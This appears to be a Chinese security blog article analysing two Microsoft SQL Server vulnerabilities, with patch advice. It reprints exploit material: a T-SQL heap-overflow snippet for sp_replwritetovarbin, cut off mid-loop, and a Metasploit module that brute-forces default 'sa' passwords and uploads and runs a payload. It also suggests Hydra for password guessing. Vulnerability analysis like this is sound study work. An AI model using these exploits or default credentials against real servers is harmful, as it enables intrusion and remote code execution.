0x01 Microsoft SQL Server數據庫簡介
Microsoft SQL Server是微軟公司推出的關系型數據庫管理系統,因其具有使用方便與可伸縮性好,且與相關軟件集成程度高等優點,從而被廣泛使用。Microsoft SQL Server 數據庫引擎為關系型數據和結構化數據提供了更安全可靠的存儲功能,可以構建和管理對高可用和高性能有需求的業務業務場景。
目前Microsoft SQL Server數據庫在全球的應用量也比較靠前,據統計,在全球范圍內對互聯網開放Microsoft SQL Server數據庫服務的資產數量多達237,065臺,發現中國地區對外開放的Microsoft SQL Server數據庫服務數量排名第一,數量為75793臺,接近全球總量的30%。排名第二與第三的分別是美國與荷蘭地區,其對外開放的Microsoft SQL Server數據庫服務數量分別為35,965臺和33,664臺。由此看來,國內使用Microsoft SQL Server數據庫的用戶很廣泛,對Microsoft SQL Server數據庫的漏洞防范就顯得尤為重要了。

(統計數據僅為對互聯網開放的資產,本數據來源于FOFA。)
0x02 Microsoft SQL Server漏洞概述
近幾年Microsoft SQL Server數據庫爆發的漏洞數量與其它類型數據庫相比,所暴露出來的漏洞相對較少。在此,挑選兩個可利用性高,且具有代表性的漏洞進行分析,分析列表如下:

0x03 Microsoft SQL Server漏洞分析
1、CVE-2008-5416 漏洞分析
一、漏洞信息:

二、漏洞概述:
Microsoft SQL Server是一款流行的SQL數據庫系統。Microsoft SQL Server的sp_replwritetovarbin擴展存儲過程中存在堆溢出漏洞,如果遠程攻擊者在參數中提供了未初始化變量的話,就可以觸發這個溢出,向可控的位置寫入內存,導致已有漏洞SQL Server進程的權限執行任意代碼。在默認的配置中,任何用戶都可以訪問sp_replwritetovarbin過程。通過認證的用戶可以通過直接的數據庫連接或SQL注入來利用這個漏洞。
三、漏洞影響:
· Microsoft SQL Server 受CVE-2008-5416漏洞影響的版本如下:
· MSSQL 2000 / MSDE SP0 (8.00.194)
· MSSQL 2000 / MSDE SP1 (8.00.384)
· MSSQL 2000 / MSDE SP2 (8.00.534)
· MSSQL 2000 / MSDE SP3 (8.00.760)
· MSSQL 2000 / MSDE SP4 (8.00.2039)
· MSSQL 2005 SP0 (9.00.1399.06)
· MSSQL 2005 SP1 (9.00.2047.00)
· MSSQL 2005 SP2 (9.00.3042.00)
四、漏洞分析:
1、CVE-2008-5416漏洞PoC利用代碼分析:
我們從互聯網中找到了CVE-2008-5416漏洞PoC,如下是漏洞PoC利用代碼片段:
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
@end_offset output,
@vb_buffer output,
@vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter
通過PoC代碼可以看出,先定義未初始化的自定義變量,然后傳入超長數據段(數據段中可構造惡意攻擊代碼),通過sp_replwritetovarbin擴展在存儲過程中進行堆溢出,將構造的攻擊代碼寫入內存并執行。
2、CVE-2008-5416漏洞攻擊流量分析:
攻擊者TDS協議對靶機發起遠程登陸認證請求,因為該漏洞只有遠程認證成功后才可以進一步被利用。如下所示:

當登陸請求認證成功后,進一步查詢數據庫服務器的版本信息。如下所示:

在確定數據庫系統的版本信息后,再進一步選擇對應的攻擊PayLoad載荷,進行存儲過程溢出攻擊。如下所示:

五、漏洞驗證:
通過Metasploit滲透測試框架對存在CVE-2008-5416漏洞的靶機進行測試,發現可以利用成功。如下圖所示:

六、漏洞修復建議:
Microsoft已經為此發布了一個安全公告(MS09-004)以及相應補丁。鏈接如下:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2009/ms09-004
2、CVE-2005-4145漏洞分析:
一、漏洞信息:
· 漏洞名稱:Lyris ListManager MSDE Weak SA Password Vulnerability
· 漏洞編號:CVE-2005-4145
· 漏洞類型:Weak Password Vulnerability
二、漏洞概述:
Lyris_technologies_inc Listmanager是Microsoft SQL Server MSDE中的一款重要組件,由于Lyris_technologies_inc Listmanager 5.0 – 8.9b版本中存在將數據庫的SA帳戶配置為使用具有小型搜索空間的密碼的設計缺陷,導致攻擊者可遠程通過暴力破解攻擊獲取Microsoft SQL Server數據庫的訪問權。三、漏洞影響:
Lyris_technologies_inc Listmanager受CVE-2005-4145漏洞影響的版本如下:
· Lyris_technologies_inc Listmanager 5.0
· Lyris_technologies_inc Listmanager 6.0
· Lyris_technologies_inc Listmanager 7.0
· Lyris_technologies_inc Listmanager 8.0
· Lyris_technologies_inc Listmanager 8.8a
四、漏洞分析:
1、漏洞PoC代碼分析:
我們從互聯網中找到了CVE-2005-4145漏洞PoC,如下是漏洞PoC利用代碼片段:
def exploit
# New installations use a randomly generated suffix like "lyris629dAe536F"
pass = nil
while(true)
print_status("Trying to authenticate with password 'lminstall'...")
if(mssql_login('sa', 'lminstall'))
pass = 'lminstall'
break
end
print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
1.upto(65535) do |pid|
if(pid % 1000 == 0)
print_status(" >> Completed #{pid} of 65535 authentication requests")
end
if(mssql_login('sa', "lyris#{pid}"))
pass = "lyris#{pid}"
break
end
end
print_status("This system does not appear to be exploitable")
return
end
print_status("")
print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
print_status("")
exe = generate_payload_exe
mssql_upload_exec(exe)
handler
disconnect
end
end
從上面的漏洞PoC代碼可以看出,先嘗試使用賬號SA,密碼lminstall進行嘗試登陸,如成功,就執行下面的SQL利用代碼,否則,進一步對SA賬戶進行進程PID暴力枚舉來獲取登陸權限,如登陸成功,同理,執行下面的SQL利用代碼。
2、CVE-2005-4145漏洞PoC數據包分析:
攻擊者通過TDS協議對靶機不停的發起遠程登陸認證請求,用戶名為SA,不停的枚舉密碼。

五、漏洞驗證:
通過Metasploit滲透測試框架對存在CVE-2005-4145漏洞的靶機進行測試,發現可以利用成功。如下圖所示:

技巧提示:CVE-2005-4145漏洞PoC通過默認賬號或指定賬號的方式來進行枚舉測試,由于代碼實現比較簡單,也比較雞肋。我們可自行通過Hydra等工具枚舉成功后,再將枚舉成功的值填寫Password字段中,然后進一步快速深度利用。
六、漏洞修復建議:
目前,官方已經在Lyris_technologies_inc Listmanager 8.9b版本修復了此漏洞,可自行升級到8.9b及以上版本。
0x04結語
通過對Microsoft SQL Server進行一些列的梳理和分析,可以從以下幾個維度進行歸納和總結:
1、高危漏洞主要分布在:Microsoft SQL Server 7、Microsoft SQL Server 2000、Microsoft SQL Server 2005這三個版本。
2、影響范圍比較廣的漏洞類型有:緩沖區溢出漏洞、弱密碼、權限提升、拒絕服務等四種。
3、Microsoft SQL Server高危漏洞的觸發條件比較苛刻,基本上都需要先通過賬號進行登陸才能進一步利用。
4、Microsoft SQL Server類漏洞比較集中爆發的時期是1997年至2005年這8年。隨著微軟對安全性越來越重視,在隨后發布的Microsoft SQL Server 2008及之后版本中存在的高危安全性問題越來越少。
|